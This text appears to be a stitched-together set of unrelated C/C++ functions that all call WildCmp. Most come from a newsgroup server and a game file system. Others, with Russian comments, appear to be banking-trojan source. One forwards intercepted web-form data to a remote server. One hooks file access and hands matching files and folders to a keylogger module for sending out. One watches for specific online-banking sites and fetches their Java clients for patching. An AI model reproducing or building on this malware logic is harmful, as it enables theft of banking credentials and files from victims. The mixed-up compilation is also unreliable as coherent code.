bool CanSendGETData(const char* URL) { // Функция проверяет необходимость отправки данных с указанного адреса for (int i = 0; GETDataURLMasks[i] != NULL; i++) { if (WildCmp((PCHAR)URL, GETDataURLMasks[i])) return true; } return false; }
bool CompareUrl(const char *MaskUrl, const char *Url ) { DWORD dwStart = 0; DWORD dwEnd = 0; DWORD dwLen = 0; if (WildCmp( Url, MaskUrl, &dwStart, &dwEnd, &dwLen ) ) { return true; } return false; }
int main(int argc,char **argv) { int i; char str[100],wld[100]; if(argc<3) return 0; strcpy(str,argv[1]); strcpy(wld,argv[2]); if(WildCmp(str,wld)) printf("\n\n<%s> and <%s> equel\n",str,wld); else printf("\n\n<%s> and <%s> NOT equel\n",str,wld); return 1; }
void CallSendDataHandlers(PSendHTMLData Data, bool &Cancel) { if (SendDataHandlers == NULL) return; // Вызвать обработчики отправки данных DWORD Count = List::Count(SendDataHandlers); PSendDataHandler Handler; bool IgnoreHandler; for (DWORD i = 0; i < Count; i++) { // Получаем новый обработчик Handler = (PSendDataHandler)List::GetItem(SendDataHandlers, i); // Проверяем адрес DWORD Tm; if (Handler->HandleURL != NULL && !WildCmp(Data->URL, Handler->HandleURL, &Tm, &Tm, &Tm)) continue; // Вызываем событие IgnoreHandler = false; if (Handler->Event != NULL) { Handler->Event(Data, IgnoreHandler, Cancel); if (Cancel) return; } if (IgnoreHandler) continue; // Обрабатываем режим if (Handler->Mode != hdmUnknown && Handler->URL != NULL) { // Отправляем данные на сервер DataGrabber::SendHTMLDataToServer(Handler->URL, Data, NULL); if (Handler->Mode == hdmRedirect) { Cancel = true; return; } } } }
int GroupFindWild(const char *g, struct GroupList *gl) { int found = 0; char *p; for (; gl != NULL; gl = gl->next) { p = gl->group; if (*p == '!') p++; if (WildCmp(p, g) == 0) { if (*gl->group == '!') found = 0; else found = 1; } } return(found); }
int WildGroupFind(const char *g, struct GroupList *gl) { static char *gn; if (*g == '!') return(0); for (; gl != NULL; gl = gl->next) { gn = gl->group; if (*gn == '!') gn++; if (WildCmp(g, gn) == 0) { if (*gl->group == '!') return(2); else return(1); } } return(0); }
CFile* CFSCobraDEVIL::FindNext() { CFileDevil* f = NULL; bool bFound = false; while (findIdx < DEVIL_FileList.size() && !bFound) { bFound = WildCmp(DEVIL_FindPattern, DEVIL_FileList[findIdx].Name); if (bFound) f = &DEVIL_FileList[findIdx]; findIdx++; } if (f == NULL) LastError = CFileArchive::ERR_FILE_NOT_FOUND; return f; }
int GroupFind(const char *g, struct GroupList *gl) { int found = 0; char *p; for (; gl != NULL; gl = gl->next) { p = gl->group; if (*p == '!') p++; if (WildCmp(p, g) == 0) { if (*gl->group == '!') found = 0; else found = 1; } /* logit(LOG_INFO, "Matched %s to %s = %d", g, gl->group, found); */ } return(found); }
/* * Return the overview expire in seconds and the overview expire * entry for the specified group */ int GetOverExpire(const char *groupName, OverExpire *oe) { OverExpire *toe; memset(oe, 0, sizeof(OverExpire)); oe->oe_ExpireDays = -1.0; oe->oe_LimitDays = 0; oe->oe_InitArts = 512; oe->oe_MinArts = 32; oe->oe_MaxArts = 0; oe->oe_DataSize = OD_HARTS; oe->oe_Next = NULL; oe->oe_StoreGZDays = -1.0; for (toe = OvExBase; toe; toe = toe->oe_Next) { if (WildCmp(toe->oe_Wild, groupName) == 0) { strcpy(oe->oe_Wild, toe->oe_Wild); if (toe->oe_ExpireDays != -2) oe->oe_ExpireDays = toe->oe_ExpireDays; if (toe->oe_LimitDays != -2) oe->oe_LimitDays = toe->oe_LimitDays; if (toe->oe_InitArts != -2) oe->oe_InitArts = toe->oe_InitArts; if (toe->oe_MinArts != -2) oe->oe_MinArts = toe->oe_MinArts; if (toe->oe_MaxArts != -2) oe->oe_MaxArts = toe->oe_MaxArts; if (toe->oe_DataSize != -2) oe->oe_DataSize = toe->oe_DataSize; if (toe->oe_StoreGZDays != -2) oe->oe_StoreGZDays = toe->oe_StoreGZDays; } } if (oe->oe_LimitDays == -1) oe->oe_LimitDays = oe->oe_ExpireDays; if (DebugOpt > 5) dumpOvExpire(oe); return(oe->oe_ExpireDays * 24.0 * 60.0 * 60.0); }
/* * Return a list of all newsgroups matching a pattern * * NOTE that the returned list is not in the same order as the * comma-separated pattern */ GroupList * ListActiveGroups(Connection *conn, char *pat) { int recLen; int recOff; GroupList *patlist = NULL; GroupList *gl = NULL; GroupList *allowedgroups = conn->co_Auth.dr_GroupDef->gr_Groups; char *ng; /* * Create a list of the patterns */ for (ng = strtok(pat, ","); ng; ng = strtok(NULL, ",")) { GroupList *tgl; int wild = (strchr(ng, '*') || strchr(ng, '?')); if (allowedgroups != NULL && !wild && GroupFindWild(ng, allowedgroups) == 0) continue; tgl = zalloc(&conn->co_MemPool, sizeof(GroupList)); tgl->group = zallocStr(&conn->co_MemPool, ng); tgl->next = NULL; if (wild) { tgl->next = patlist; patlist = tgl; } else { tgl->next = conn->co_ListCacheGroups; conn->co_ListCacheGroups = tgl; } } for (recOff = KPDBScanFirst(KDBActive, 0, &recLen); recOff; recOff = KPDBScanNext(KDBActive, recOff, 0, &recLen) ) { int groupLen; char grpbuf[MAXGNAME]; const char *rec = KPDBReadRecordAt(KDBActive, recOff, 0, NULL); const char *group = KPDBGetField(rec, recLen, NULL, &groupLen, NULL); if (group && groupLen < MAXGNAME) { bcopy(group, grpbuf, groupLen); grpbuf[groupLen] = 0; for (gl = patlist; gl; gl = gl->next) { if (WildCmp(gl->group, grpbuf) == 0) { GroupList *tgl; if (allowedgroups != NULL && GroupFindWild(grpbuf, allowedgroups) == 0) { continue; } tgl = zalloc(&conn->co_MemPool, sizeof(GroupList)); tgl->group = zallocStr(&conn->co_MemPool, grpbuf); tgl->next = NULL; tgl->next = conn->co_ListCacheGroups; conn->co_ListCacheGroups = tgl; } } } } while (patlist) { gl = patlist; patlist = patlist->next; zfreeStr(&conn->co_MemPool, &gl->group); zfree(&conn->co_MemPool, gl, sizeof(GroupList)); } return(conn->co_ListCacheGroups); }
void NNListActiveScan(Connection *conn) { struct GroupList *groups = conn->co_Auth.dr_ListGroupDef->gr_Groups; conn->co_Func = NNListActiveScan; conn->co_State = "listac"; while ((conn->co_TMBuf.mh_Bytes < MBUF_HIWAT) && (((conn->co_ListCacheMode != ACMODE_READ) && conn->co_ListRec) || ((conn->co_ListCacheMode == ACMODE_READ) && conn->co_ListCacheGroups))) { int glen; const char *group; char grpbuf[MAXGNAME]; const char *rec; if (conn->co_ListCacheMode == ACMODE_READ) { char *grpname = conn->co_ListCacheGroups->group; rec = KPDBReadRecord(KDBActive, grpname, 0, &conn->co_ListRecLen); } else { rec = KPDBReadRecordAt(KDBActive, conn->co_ListRec, 0, NULL); } group = rec ? KPDBGetField(rec, conn->co_ListRecLen, NULL, &glen, NULL) : ""; if (*group && (glen < MAXGNAME)) { bcopy(group, grpbuf, glen); grpbuf[glen] = 0; if ((conn->co_ListPat == NULL || WildCmp(conn->co_ListPat, grpbuf) == 0) && (groups == NULL || GroupFindWild(grpbuf, groups)) ) { /* * note: because we are locking a previously retrieved but unlocked * record, the record may be marked as deleted. We cannot do * KPDBWrite()'s with KP_LOCK_CONTINUE in this case because it * may not properly locate the record to continue the lock at. */ KPDBLock(KDBActive, rec); if (conn->co_ArtMode == COM_GROUPDESC) { int glen; const char *desc = KPDBGetField(rec, conn->co_ListRecLen, "GD", &glen, "?"); MBPrintf(&conn->co_TMBuf, "%s\t", grpbuf); MBWriteDecode(&conn->co_TMBuf, desc, glen); MBWrite(&conn->co_TMBuf, "\r\n", 2); } else if (conn->co_ArtMode == COM_ACTIVE) { int flen; const char *flags = KPDBGetField(rec, conn->co_ListRecLen, "S", &flen, "n"); artno_t ne = strtoll(KPDBGetField(rec, conn->co_ListRecLen, "NE", NULL, "0"), NULL, 10); artno_t nb = strtoll(KPDBGetField(rec, conn->co_ListRecLen, "NB", NULL, "0"), NULL, 10); /* * NOTE: we cannot use *.*s because it's broken on most * platforms... it will strlen() the string, and the string * in this case is the entire size of the active file! */ MBPrintf(&conn->co_TMBuf, "%s %010lld %010lld ", grpbuf, artno_ne(nb, ne, conn->co_Numbering), artno_nb(nb, ne, conn->co_Numbering) ); MBWrite(&conn->co_TMBuf, flags, flen); MBWrite(&conn->co_TMBuf, "\r\n", 2); } else if (conn->co_ArtMode == COM_NEWGROUPS) { const char *cts = KPDBGetField(rec, conn->co_ListRecLen, "CTS", NULL, NULL); if (cts) { int dt, cts_int = (int)strtoul(cts, NULL, 16); if (conn->co_ListCacheMode == ACMODE_WRITE) ActiveCacheInsert(&activeCache, grpbuf, cts_int); dt = cts_int - (int)conn->co_TimeRestrict.tr_Time; if (dt > 0) { int flen; const char *flags = KPDBGetField(rec, conn->co_ListRecLen, "S", &flen, "n"); artno_t ne = strtoll(KPDBGetField(rec, conn->co_ListRecLen, "NE", NULL, "0"), NULL, 10); artno_t nb = strtoll(KPDBGetField(rec, conn->co_ListRecLen, "NB", NULL, "0"), NULL, 10); MBPrintf(&conn->co_TMBuf, "%s %lld %lld ", grpbuf, artno_ne(nb, ne, conn->co_Numbering), artno_nb(nb, ne, conn->co_Numbering) ); MBWrite(&conn->co_TMBuf, flags, flen); MBWrite(&conn->co_TMBuf, "\r\n", 2); } } } KPDBUnlock(KDBActive, rec); } } /* * If we are looking for a wildcard, continue the scan. Otherwise * we are done. */ if (conn->co_Flags & COF_PATISWILD) { if (conn->co_ListCacheMode == ACMODE_READ) { conn->co_ListCacheGroups = conn->co_ListCacheGroups->next; if (conn->co_ListCacheGroups == NULL) { conn->co_ListCachePtr = ActiveCacheGetNext(conn->co_ListCachePtr); conn->co_ListCacheGroups = conn->co_ListCachePtr ? conn->co_ListCachePtr->nglist : NULL; } } else { conn->co_ListRec = KPDBScanNext( KDBActive, conn->co_ListRec, 0, &conn->co_ListRecLen ); } } else { conn->co_ListRec = 0; conn->co_ListCachePtr = NULL; } } if ((conn->co_ListCacheMode == ACMODE_NONE) && (conn->co_ListRec == 0)) { MBPrintf(&conn->co_TMBuf, ".\r\n"); NNCommand(conn); zfreeStr(&conn->co_MemPool, &conn->co_ListPat); if (DebugOpt) printf("done\n"); } if ((conn->co_ListCacheMode == ACMODE_READ) && (conn->co_ListCacheGroups == NULL)) { ActiveCacheReadUnlock(); conn->co_ListCacheMode = ACMODE_NONE; MBPrintf(&conn->co_TMBuf, ".\r\n"); NNCommand(conn); zfreeStr(&conn->co_MemPool, &conn->co_ListPat); if (DebugOpt) printf("done\n"); } if ((conn->co_ListCacheMode == ACMODE_WRITE) && (conn->co_ListRec == 0)) { ActiveCacheMarkValid(KDBActive); ActiveCacheWriteUnlock(); conn->co_ListCacheMode = ACMODE_NONE; MBPrintf(&conn->co_TMBuf, ".\r\n"); NNCommand(conn); zfreeStr(&conn->co_MemPool, &conn->co_ListPat); if (DebugOpt) printf("done\n"); } }
//Проверяет каждого получателя и отсылаем им оповещения о срабатывании хука, согласно условиям получателя void SendEvent( ParamEvent& e ) { if( !receivers ) return; int count = List::Count(receivers); for( int i = 0; i < count; i++ ) { Receiver* rv = (Receiver*)List::GetItem( receivers, i ); if( !rv->ignore && e.access & rv->access ) //тип доступа { int send = 0; //слать событие (>0) или нет (=0) int extFilter = FilterExt( e, rv ); if( extFilter > 0 ) //фильтер сработал { if( extFilter == 2 ) //файл нужного нам расширения { if( rv->aw & LOADFILE ) //нужно загрузить LoadFile(e); send = 1; } } else { DWORD h; e.szData = (DWORD)pGetFileSize( e.file, &h ); //подходит ли размер if( e.szData >= rv->minSize && (e.szData <= rv->maxSize || rv->maxSize < 0)) { if( rv->maska || rv->aw & FILEISBIN || rv->ignoreBeg[0][0] ) { if( LoadFile(e) ) { if( !IsFormatBeg( e, rv ) ) //файл не игнорируемого формата { //если есть какой-то из фильтров, то сообщаем только тогда когда есть реакция на один из них bool filters = false; //проходил ли через какой-то фильтер for(;;) { //проверяем маску if( rv->maska ) { filters = true; if( WildCmp( (char*)e.data, rv->maska ) ) { send = 2; break; } } if( rv->aw & FILEISBIN ) { filters = true; if( IsBin( (BYTE*)e.data, e.szData ) ) { send = 3; break; } } if( rv->aw & FILEISBASE64 ) { filters = true; if( IsBase64( (BYTE*)e.data, e.szData ) ) { send = 4; break; } } if( filters ) send = 0; //если ни один из фильтров не сработал, то сообщение не шлем break; } } } } else { if( rv->aw & LOADFILE ) //нужно загрузить LoadFile(e); send = 5; //нужно оповещать о файлах определенного размера } } } if( rv->FuncReceiver && send > 0 ) { e.nameSend[0] = 0; if( e.unicode ) { DBG("FileGrabberW", "Отреагировали на файл '%ls'(%d), size: %d", e.fileNameW, send, e.szData ); e.fileName = WSTR::ToAnsi( e.fileNameW, 0 ); } else { DBG("FileGrabberA", "Отреагировали на файл '%s'(%d), size: %d", e.fileNameA, send, e.szData ); e.fileName = (char*)e.fileNameA; } e.shortName = File::ExtractFileNameA( e.fileName, false ); //ищем расширение e.extFile = 0; const char* p = STR::ScanEnd( (char*)e.shortName, '.' ); if( p ) e.extFile = p + 1; int res = rv->FuncReceiver(&e); if( res & SENDFILE ) //если возвращает SENDFILE, то отправляем содержимое { if( e.data ) { const char* nameSend = "FileGrabber"; if( res & CURRNAMEFILE ) //извлекаем имя из полного имени файла nameSend = e.shortName; else if( res & CURRFULLNAMEFILE ) //имя файла с полными путями nameSend = e.fileName; else if( e.nameSend[0] ) //имя передал получатель nameSend = e.nameSend; DBG( "FileGrabber", "Отправили файл '%s' под именем '%s'", e.fileName, nameSend ); KeyLogger::AddFile( 0, (char*)nameSend, e.data, e.szData ); } } else if( res & SENDFOLDER ) { pPathRemoveFileSpecA(e.fileName); //добавляем в конце слеш, так функция PathRemoveFileSpec его убирает int sz = m_lstrlen(e.fileName); if( e.fileName[sz - 1] != '\\' ) { e.fileName[sz] = '\\'; e.fileName[sz + 1] = 0; sz++; } DBG( "FileGrabber", "Отправляем папку '%s' под именем '%s'", e.fileName, e.nameSend ); int currState = stateGrabber; stateGrabber |= IGNOREHOOK; //отключаем граббер KeyLogger::AddDirectory( e.fileName, e.nameSend ); stateGrabber = currState; //восстанавливаем состояние } if( res & STOPRECEIVER ) rv->ignore = true; if( e.fileName != e.fileNameA ) //освобождаем память, если была перекодировка STR::Free(e.fileName); } } } MemFree(e.data); e.data = 0; }
// Finds all the filenames in the specified directory that match the specified // filter. Directory should be like "textures" or "textures/". // Filter can be NULL or "" or "*.bmp" or "map_*" or "map_*.txt" // Set _longResults to true if you want results like "textures/blah.bmp" // or false for "blah.bmp" LList<char *> *FileSystem::ListArchive(char *_dir, char *_filter, bool fullFilename) { LList<char *> *results = NULL; // // List the search directories for( int i = 0; i < m_searchPath.Size(); ++i ) { char searchPathFilename[512]; snprintf( searchPathFilename, sizeof(searchPathFilename), "%s%s", m_searchPath[i], _dir ); searchPathFilename[ sizeof(searchPathFilename) - 1 ] = '\x0'; LList<char *> *results2 = ListDirectory( searchPathFilename, _filter, fullFilename ); if( !results ) { results = results2; } else { ListArchiveFilterResults( results, results2 ); results2->EmptyAndDelete(); delete results2; } } // // List the localisation directory char localisationFilename[512]; snprintf( localisationFilename, sizeof(localisationFilename), "localisation/%s", _dir ); localisationFilename[ sizeof(localisationFilename) - 1 ] = '\0'; LList<char *> *results3 = ListDirectory( localisationFilename, _filter, fullFilename ); if( !results ) { results = results3; } else { ListArchiveFilterResults( results, results3 ); results3->EmptyAndDelete(); delete results3; } // // List the base data directory LList<char *> *results4 = ListDirectory( _dir, _filter, fullFilename ); ListArchiveFilterResults( results, results4 ); results4->EmptyAndDelete(); delete results4; // // List the pre-loaded resource files if (m_archiveFiles.Size() > 0) { if(_filter == NULL || _filter[0] == '\0') { _filter = "*"; } DArray <char *> *unfilteredResults = m_archiveFiles.ConvertIndexToDArray(); for (int i = 0; i < unfilteredResults->Size(); ++i) { if (!unfilteredResults->ValidIndex(i)) continue; char *fullname = unfilteredResults->GetData(i); char *dirPart = (char *) GetDirectoryPart( fullname ); if( stricmp( dirPart, _dir ) == 0 ) { char *filePart = (char *) GetFilenamePart( fullname ); int result = WildCmp(_filter, filePart); if (result != 0) { if( !fullFilename ) OrderedInsert(results, filePart); else OrderedInsert(results, fullname); } } } delete unfilteredResults; } return results; }
//***************************************************************** // Функция проверяет запрос и, в случае обнаружения адреса с // маской // "*/client_ver.js", скачиваем фойл // "http://host_name/client2015.jar" и сохраняем его в файл // %AllUsersProfile%\Application Data\_client2015_orig.jar //***************************************************************** void CheckJavaClient2015File(const char *aURL) { // Этот кусок кода информирует // IBANK грабер про обнаружение вхождение на // сайт Промсвязь Банк if (WildCmp((PCHAR)aURL, "*://online.payment.ru/juricvalrur/JuridicalClient.html")) { File::WriteBufferA(GetPSBSignalFileName().t_str(), NULL, 0); return; } // Проверяем адреса if (Downloadclient2015FileThread) return; if (!WildCmp((PCHAR)aURL, "*/client_ver.js") && !WildCmp((PCHAR)aURL, "*://ibank2.ru/*")) return; // Определяем путь хранения файла string Path(MAX_PATH); //pGetEnvironmentVariableA("ALLUSERSPROFILE", Path.t_str(), MAX_PATH); if( GetJavaPatchWorkFolder( Path.t_str(), "_client2015_orig.jar" ) == 0 ) return; Path.CalcLength(); if (Path.IsEmpty()) return; // Path += "\\"; //Создаём временное имя файла string FileName = Path;// + "_client2015_orig.jar"; if (FileExistsA(FileName.t_str())) return; TURL URL(aURL); if (URL.Host.Hash() == 0xDF8E3E03 /* ibank2.ru */) URL.Document = "ibank2client.jar"; else URL.Document = "client2015.jar"; TJavaClientFileData *Data = new TJavaClientFileData(); Data->FileName = FileName; Data->TempFileName = Path + "client2015.tmp"; Data->URL = URL.URL(); Downloadclient2015FileThread = StartThread(Downloadclient2015File, Data); string Host = URL.Protocol; Host += HTTPProtocolDelimeter; Host += URL.Host; WriteClientFileDomain(Host.t_str(), Host.Length()); }